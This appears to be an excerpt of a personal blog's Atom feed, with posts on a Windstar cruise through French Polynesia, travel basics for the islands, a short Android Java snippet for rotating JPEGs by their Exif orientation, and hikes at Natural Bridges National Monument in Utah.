         alt="A ship with few passengers is docked, providing a smooth onboarding experience. The dock overlooks a landscape with buildings and mountains in the background." width="900"/> </a>
</figure>

<figure>
    
    <a href="papeete_from_dock_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="papeete_from_dock_resized-1024x768.jpg"
         alt="A kayaking tour on a clear blue lagoon with lush green mountains in the background, providing a scenic outdoor adventure in Moorea." width="900"/> </a>
</figure>

<h3 id="day-2---moorea">Day 2 - Moorea</h3>
<p>We did a half-day   
    
    
<a href="https://www.lagoon-explorer.com/activities-guided-tour-moorea-kayak?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kayaking tour</a>, which included Kayaking to a motu (islet) and snorkeling in the coral garden around it. Unfortunately, due to bad weather, we could not kayak further until the Stingrays &amp; sharks. The coral gardens were amazing. They are much better than the ones in 
<a href="/travel/maui-hawaii/">Hawaii</a> and similar or better than the ones in the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a>. Transparent Kayak further adds to the charm of being able to sneak peek what&rsquo;s under you while Kayaking. The Kayaking spot is a bit far from the docking spot (Cook&rsquo;s bay) and, therefore, do book transportation.</p>
<figure>
    
    <a href="kayaking_resized-995x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kayaking_resized-995x1024.jpg"
         alt="A vibrant tropical scene features two kayaks on crystal-clear water near lush green mountains, providing a peaceful setting for kayaking adventures." width="900"/> </a>
</figure>

<p>On our way back, we checked out the local market in Maharepa. Feel free to skip a visit to Maharepa. The local tourist office does provide free Wi-Fi access (password: E6DC5D69B8).</p>
<figure>
    
    <a href="maharepa_photo_spot_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maharepa_photo_spot_resized-1024x768.jpg"
         alt="A scenic photo spot in Maharepa" width="900"/> </a>
</figure>

<h3 id="day-3---raiatea">Day 3 - Raiatea</h3>
<p>We rented a scooter and went around the island. We visited a few pearl farms which were closed due to the weekend. We checked out the Marae Taputapuatea, an ancient Polynesian temple, which is also a UNESCO heritage site. In hindsight, we should have gone to the   
    
    
<a href="https://www.tahitiislandstravel.com/our-experiences/3-waterfalls-hike?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">three waterfalls hike</a>, but by the time we finished driving around the island, it was too late in the day.</p>
<figure>
    
    <a href="marae-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="marae-1024x768.jpg"
         alt="Marae Taputapuatea" width="900"/> </a>
</figure>

<figure>
    
    <a href="pearl_farm_closed-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="pearl_farm_closed-768x1024.jpg"
         alt="Pearl farm against a backdrop of vibrant, lush greenery and scenic water." width="900"/> </a>
</figure>

<figure>
    
    <a href="raiatea-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="raiatea-1024x768.jpg"
         alt="A ship is docked at Raiatea, contrasting with other islands requiring a 10-15 minute tender" width="900"/> </a>
</figure>

<p>Note: Raiatea was the only island on our trip where the ship docks. So, unlike a 10-15 min tender, one can go in and out of the ship.</p>
<h3 id="day-4---motu-mahaea-tahaa">Day 4 - Motu Mahaea (Tahaa)</h3>
<p>We spend the day at Motu Mahaea, a private island experience with tons of coral gardens nearby for snorkeling. This experience was the first of the Windstar&rsquo;s two private motu experiences, which included beach chairs, beverages,  lunch, and water activities (kayaking and paddle boating) on the motu.</p>
<figure>
    
    <a href="mahea_3_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mahea_3_resized-1024x768.jpg"
         alt="A scenic beach setup with empty chairs and a table, surrounded by palm trees, offers drinks and water sports like kayaking and paddle boating" width="900"/> </a>
</figure>

<figure>
    
    <a href="mahea_1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mahea_1_resized-1024x768.jpg"
         alt="Motu Mahaea" width="900"/> </a>
</figure>

<h3 id="day-5---bora-bora">Day 5 - Bora Bora</h3>
<p>We rented a motorboat from   
    
    
<a href="https://www.laplage-borabora.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">La Plage</a> and steered it around the island, doing snorkeling and watching stingrays. Sailing gives you a good view of the island, and you get to learn to boat as well. I would recommend getting a boat license online beforehand so that you can rent a more powerful boat and go faster.</p>
<figure>
    
    <a href="bora_bora_1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bora_bora_1_resized-1024x768.jpg"
         alt="Bora Bora is a tropical island with overwater bungalows floats on turquoise waters surrounded by lush greenery and mountains" width="900"/> </a>
</figure>

<figure>
    
    <a href="bora_bora_2_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bora_bora_2_resized-1024x768.jpg"
         alt="A serene ocean view from a ship&#39;s water platform includes opportunities for swimming, kayaking, and paddleboarding, promoting a tranquil and activity-filled experience" width="900"/> </a>
</figure>

<p>Back on the ship, we checked out the water platform. Apart from swimming, one can do kayaking, paddle boating, wakeboarding, and water-skiing here.</p>
<figure>
    
    <a href="windstar_water_platform_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="windstar_water_platform_resized-1024x768.jpg"
         alt="A water sports platform is shown with kayaks and paddle boats available for activities like kayaking, paddle boating, wakeboarding, and water-skiing." width="900"/> </a>
</figure>

<p>This was the Christmas Eve, and the crew sang Christmas carol.</p>
<figure>
    
    <a href="christmas_carol_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="christmas_carol_resized-1024x768.jpg"
         alt="A crew sings Christmas carols around Christmas Eve, with decorations and a festive atmosphere, in a setting related to Bora Bora island." width="900"/> </a>
</figure>

<p>We returned later at night to check the Bora Bora island; it is mostly dead apart from a few small shops serving the locals.</p>
<figure>
    
    <a href="bora_bora_3_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bora_bora_3_resized-1024x768.jpg"
         alt="An aerial view of Bora Bora, showcasing turquoise waters, lush greenery, and overwater bungalows. The setting highlights the tranquil and picturesque island environment." width="900"/> </a>
</figure>

<figure>
    
    <a href="bora_bora_windstar_resized-1024x767.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bora_bora_windstar_resized-1024x767.jpg"
         alt="A scenic view of Bora Bora, featuring lush greenery and a mountainous landscape, from a hiking trail to Mt. Pahia, with clear blue skies enhancing the natural beauty." width="900"/> </a>
</figure>

<h3 id="day-6---bora-bora">Day 6 - Bora Bora</h3>
<p>Earlier in the day, we did a part of the hike to Mt. Pahia for the views. The full hike is hard to   
    
    
<a href="https://www.thefitworldtraveler.com/the-most-challenging-thing-to-do-in-bora-bora?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">navigate</a> without a guide.</p>
<figure>
    
    <a href="bora_bora_4_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bora_bora_4_resized-1024x768.jpg"
         alt="A tropical island with lush greenery and clear blue water in Bora Bora, surrounded by a vibrant coral reef and palm trees, evoking a serene, untouched paradise." width="900"/> </a>
</figure>

<p>We spent the rest of the day at Motu Tapu, another private Motu rented by Windstar for their destination discovery event, which included dinner and cultural shows.</p>
<figure>
    
    <a href="bora_bora_5_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bora_bora_5_resized-1024x768.jpg"
         alt="Three figures performing a traditional dance, dressed in colorful costumes. Presented by Windstar for a destination discovery event featuring dinner and cultural shows." width="900"/> </a>
</figure>

<figure>
    
    <a href="bora_bora_6_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bora_bora_6_resized-1024x768.jpg"
         alt="A tranquil beach scene with turquoise waters and lush greenery, showcasing overwater bungalows on stilts against a clear blue sky, exemplifying an idyllic tropical setting." width="900"/> </a>
</figure>

<figure>
    
    <a href="ezgif.com-gif-maker.gif" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ezgif.com-gif-maker.gif"
         alt="A serene tropical beach scene with turquoise water and overwater bungalows under a clear blue sky, commonly associated with Bora Bora." width="900"/> </a>
</figure>

<figure>
    
    <a href="ezgif.com-crop.gif" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ezgif.com-crop.gif"
         alt="Cruise ship with people on deck enjoying a lively, entertaining show, surrounded by night lights, conveying a vibrant atmosphere." width="497"/> </a>
</figure>

<p>The show was mesmerizing, and in case you are not doing this cruise, I would highly recommend that you find an alternative way to have this experience as part of your itinerary.</p>
<h3 id="day-7---huahine">Day 7 - Huahine</h3>
<p>We did a half-day long Safari Expedition of the island, which included a visit to Vanilla Farm, Pearl Farm, native fish traps, and a visit to the local sacred blue-eyed eels of the island.</p>
<p>Growing vanilla requires hand-pollination and makes it a labor-intensive activity. That&rsquo;s why Vanilla is the second most expensive spice after Saffron.</p>
<figure>
    
    <a href="huahine_vanilla_farm_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="huahine_vanilla_farm_resized-768x1024.jpg"
         alt="A vanilla farm image is shown, with rows of green vanilla plants hanging and thriving in a controlled, agricultural setting." width="900"/> </a>
</figure>

<p>Pearl farming involves putting a small piece of the membrane from the donor shell, which, along with a mollusk, an irritant, is inserted into the gonad of the host shell. The membrane grows and covers the mollusk forming the pearl. It takes about 18 months for the formation of a full pearl. And on every success, an even bigger mollusk is used to create a larger pearl from the same shell.</p>
<figure>
    
    <a href="huahine_pearl_farm_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="huahine_pearl_farm_resized-1024x768.jpg"
         alt="Pearl Farm" width="900"/> </a>
</figure>

<p>Tahitian set fish traps up in the river, so, fishes flowing with the flow of the water enters the trap and gets trapped. The traps are porous enough for the water to leave, but the pores are not big enough for the fishes.</p>
<figure>
    
    <a href="huahine_fish_trap_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="huahine_fish_trap_resized-768x1024.jpg"
         alt="A traditional wooden fish trap in shallow water allows water to pass through while preventing fish from escaping due to its fine porosity." width="900"/> </a>
</figure>

<p>The locals believe that the sacred eels of Huahine are supposed to be reincarnations of their dead loved ones. They don&rsquo;t kill or eat these eels.</p>
<figure>
    
    <a href="ezgif.com-resize.gif" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ezgif.com-resize.gif"
         alt="A lush tropical landscape with palm trees and clear blue water, evoking a serene and picturesque island environment." width="486"/> </a>
</figure>

<figure>
    
    <a href="huahine_beauty_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="huahine_beauty_resized-1024x768.jpg"
         alt="A ship&#39;s bridge is shown in the evening, featuring control panels and navigational instruments essential for vessel operation." width="900"/> </a>
</figure>

<p>We checked out the bridge (commanding room) of the ship in the evening.</p>
<figure>
    
    <a href="windstar_bridge_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="windstar_bridge_resized-1024x768.jpg"
         alt="A ship&#39;s commanding room is seen in the evening, providing a view of navigational equipment and controls." width="900"/> </a>
</figure>

<p>Alas, all good things do come to an end, and so did our 
<a href="/travel/first-time-cruisers/">cruise</a>. The captain and the crew arrived and bid farewell in the evening.</p>
<figure>
    
    <a href="huahine_captain_bye_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="huahine_captain_bye_resized-1024x768.jpg"
         alt="A captain and crew standing together waving goodbye as a cruise concludes" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/cruise" term="cruise" label="cruise"/><category scheme="https://ashishb.net/tag/french-polynesia" term="french-polynesia" label="french-polynesia"/></entry><entry><title type="html">French Polynesia - the basics</title><link href="https://ashishb.net/travel/french-polynesia-the-basics/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/cruising-in-french-polynesia/?utm_source=atom_feed" rel="related" type="text/html" title="Cruising in French Polynesia"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Rome, Italy"/><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Venice, Italy"/><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="related" type="text/html" title="Croatia in Four Days"/><id>https://ashishb.net/travel/french-polynesia-the-basics/</id><author><name>Ashish Bhatia</name></author><published>2019-02-01T08:10:58+00:00</published><updated>2019-02-01T08:10:58+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the best way to explore French Polynesia with direct flights, ferry runs, and island tours. Enjoy snorkeling, islets, and authentic Tahitian culture!</blockquote><h3 id="getting-to-french-polynesia">Getting to French Polynesia</h3>
<p>Getting from the US to French Polynesia used to be hard and expensive, with Air Tahiti Nui being the only option from the Los Angeles airport (LAX). In 2018, French Bee and United Airlines started direct flights from San Francisco (SFO) to Papeete (PPT). Papeete, the main island, is relatively dull, and there is nothing much to do at it. The two best islands are Moorea and Bora Bora. Alternatively, one can take a 10+ day-long 
<a href="/travel/first-time-cruisers/">cruise</a> from New Zealand or Australia.</p>
<p>Do check whether you need a TOM visa or not on the   
    
    
<a href="https://france-visas.gouv.fr/en_US/web/france-visas/ai-je-besoin-d-un-visa?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">official website</a>. For some nationalities like 
<a href="/travel/traveling-on-indian-passport/">India</a>, a French Schengen visa suffices.</p>
<h3 id="traveling-between-islands">Traveling between islands</h3>
<p>A   
    
    
<a href="https://www.aremiti.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ferry</a> runs between Moorea and Papeete multiple times a day. Bora Bora is much further, and the only practical way to access it is to fly or take a cruise. If you are planning to fly, then consider taking a   
    
    
<a href="https://www.airtahiti.com/multiisland-fares?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">multi-island pass</a>, which allows you to access multiple islands. If you are planning to cruise,   
    
    
<a href="https://www.windstarcruises.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Windstar</a> and   
    
    
<a href="https://www.pgcruises.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Paul Gauguin</a> are your two options for week-long leisure cruising, and   
    
    
<a href="https://aranui.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Aranui</a> for a longer adventurous cruising beyond the society islands. Eventually, I decided to go with 
<a href="/travel/cruising-in-french-polynesia/">Windstar</a>.</p>
<h3 id="traveling-on-islands">Traveling on islands</h3>
<p>On almost all islands, except Papeete, 
<a href="/travel/public-transport-guide/">public transport</a> is non-existent. One can rent a scooter, rent a stick-shift manual-transmission car, or take a cab. Do note that for the taxis, prices are closer to Europe than in the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a>.</p>
<h3 id="what-to-do">What to do</h3>
<ol>
<li>Snorkeling/scuba - good coral gardens are accessible on most of the islands. Stingrays and lemon sharks visit shallow sandy areas, and one can snorkel there as well.</li>
<li>Visit a motu (islet) - there are tons of small motus around most islands, especially Bora Bora. Spend some time on one. Do note that beach access is not public in French Polynesia. And very few motus are public.</li>
<li>Visit a pearl farm - to see how Tahitians harvest black pearls</li>
<li>Visit a vanilla plantation - to see how vanilla, the second most expensive spice after saffron, is extracted</li>
<li>Watch Tahitian dance</li>
</ol>
<h3 id="what-not-to-do">What not to do</h3>
<ol>
<li>Visit a marae (Polynesian temple) - they are not worth it. They are hyped, and unless you are an archeologist, they do not make much sense. Avoid them completely. And if you want to visit, get a guide, so that they can tell you the historical significance.</li>
<li>Visit local markets - most stuff in the local markets is imported from China, France, the US, and New Zealand. Don&rsquo;t visit a local market for the sake of it; you will be disappointed to see the lack of locally produced goods.</li>
<li>Everything you can do elsewhere - French Polynesia is an expensive place. Don&rsquo;t do anything which is not unique to French Polynesia.</li>
</ol>
<h3 id="some-useful-tahitian-phrases">Some useful Tahitian phrases</h3>
<p>French is the official language, and everyone speaks French, some local phrases are still helpful.</p>
<ol>
<li>La Ora na - Hello</li>
<li>Maururu - Thanks</li>
<li>Maeva - Welcome</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/french-polynesia" term="french-polynesia" label="french-polynesia"/></entry><entry><title type="html">Android: Handling JPEG images with Exif orientation flags</title><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><id>https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/</id><author><name>Ashish Bhatia</name></author><published>2019-01-22T17:00:44+00:00</published><updated>2019-01-22T17:00:44+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to properly handle Exif metadata in JPEG files to ensure correct image orientation using libraries like Picasso or Glide for seamless image rotation.</blockquote><p>A JPEG file can have   
    
    
<a href="https://en.wikipedia.org/wiki/Exif?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Exif metadata</a> which can provide the rotation/translation field information for a raw JPEG image. So, a landscape raw JPEG image could actually be a portrait because it&rsquo;s EXIF orientation could be set to   
    
    
<a href="https://developer.android.com/reference/android/media/ExifInterface.html#ORIENTATION_ROTATE_90?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ORIENTATION_ROTATE_90</a>, the best way to handle such scenarios is to either use a library like Picasso or Glide or at least learn from them. Here is a piece of code from Picasso which loads a JPEG as an in-memory bitmap and performs the right translation/rotation.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#586e75">// Get the orientation</span>
</span></span><span style="display:flex;"><span>ExifInterface exifInterface <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> ExifInterface(imageFilePath);
</span></span><span style="display:flex;"><span><span style="color:#dc322f">int</span> exifOrientation <span style="color:#719e07">=</span> exifInterface.getAttributeInt(TAG_ORIENTATION, ORIENTATION_NORMAL)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Take the source of these methods from</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// https://github.com/square/picasso/blob/31779ac2cb971c4534cc17bd437fab1aa0083d3d/picasso/src/main/java/com/squareup/picasso3/BitmapHunter.java#L625-L659</span>
</span></span><span style="display:flex;"><span><span style="color:#dc322f">int</span> exifRotation <span style="color:#719e07">=</span> getExifRotation(exifOrientation);
</span></span><span style="display:flex;"><span><span style="color:#dc322f">int</span> exifTranslation <span style="color:#719e07">=</span> getExifTranslation(exifOrientation);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Matrix matrix <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> Matrix();
</span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> (exifRotation <span style="color:#719e07">!=</span> 0) {
</span></span><span style="display:flex;"><span>  matrix.preRotate(exifRotation);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> (exifTranslation <span style="color:#719e07">!=</span> 1) {
</span></span><span style="display:flex;"><span>  matrix.postScale(exifTranslation, 1);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">//</span> Now use <span style="color:#719e07">this</span> matrix to create a <span style="color:#719e07">new</span> Bitmap from the existing Bitmap</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/></entry><entry><title type="html">Hiking Natural Bridges National Monument</title><link href="https://ashishb.net/travel/hiking-natural-bridges-national-monument/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/antelope-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="A trip to Antelope Canyon"/><link href="https://ashishb.net/travel/grand-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="Rim-2-Rimember: Day hiking through Grand Canyon"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><id>https://ashishb.net/travel/hiking-natural-bridges-national-monument/</id><author><name>Ashish Bhatia</name></author><published>2019-01-17T07:58:28+00:00</published><updated>2019-01-17T07:58:28+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to hiking Natural Bridges National Monument in Utah, USA. Discover the beauty of Sipapu, Kachina, and Owachomo bridges.</blockquote><p>  
    
    
<a href="https://www.nps.gov/nabr?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Natural Bridges National Monument</a> in Utah is a National Park consisting of three natural bridges. One can spend ~1-3 hours hiking nearby each of the bridges. The hikes are short and require ascent/descent. Even without the hike, one can drive around to see the views.</p>
<figure>
    
    <a href="Sipapu_Bridge_from_distance-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sipapu_Bridge_from_distance-1024x768.jpg"
         alt="Distant view of Sipapu Bridge surrounded by rocky terrain and sparse vegetation, showcasing a natural stone arch in a desert landscape." width="900"/> </a>
</figure>

<p>While one can hike to the bottom of Sipapu Bridge, the Kachina bridge can only be seen from a distance. And that too after a hike. If you are short on time, skip this one.</p>
<figure>
    
    <a href="Kachina_Bridge_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kachina_Bridge_resized-1024x768.jpg"
         alt="A natural rock bridge spans across a canyon landscape. It&#39;s a popular but time-consuming hiking destination, best viewed after completing a trail." width="900"/> </a>
</figure>

<p>Owachomo Bridge, the last one, also requires a hike down to the bottom. The hike is more comfortable than the hike to Sipapu bridge, though. There is a strenuous climb to the top of the bridge on the right.</p>
<figure>
    
    <a href="owachomo_bridge_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="owachomo_bridge_resized-1024x768.jpg"
         alt="A natural arch structure, Sipapu Bridge, spans a rocky canyon surrounded by sparse vegetation under a clear sky." width="900"/> </a>
</figure>

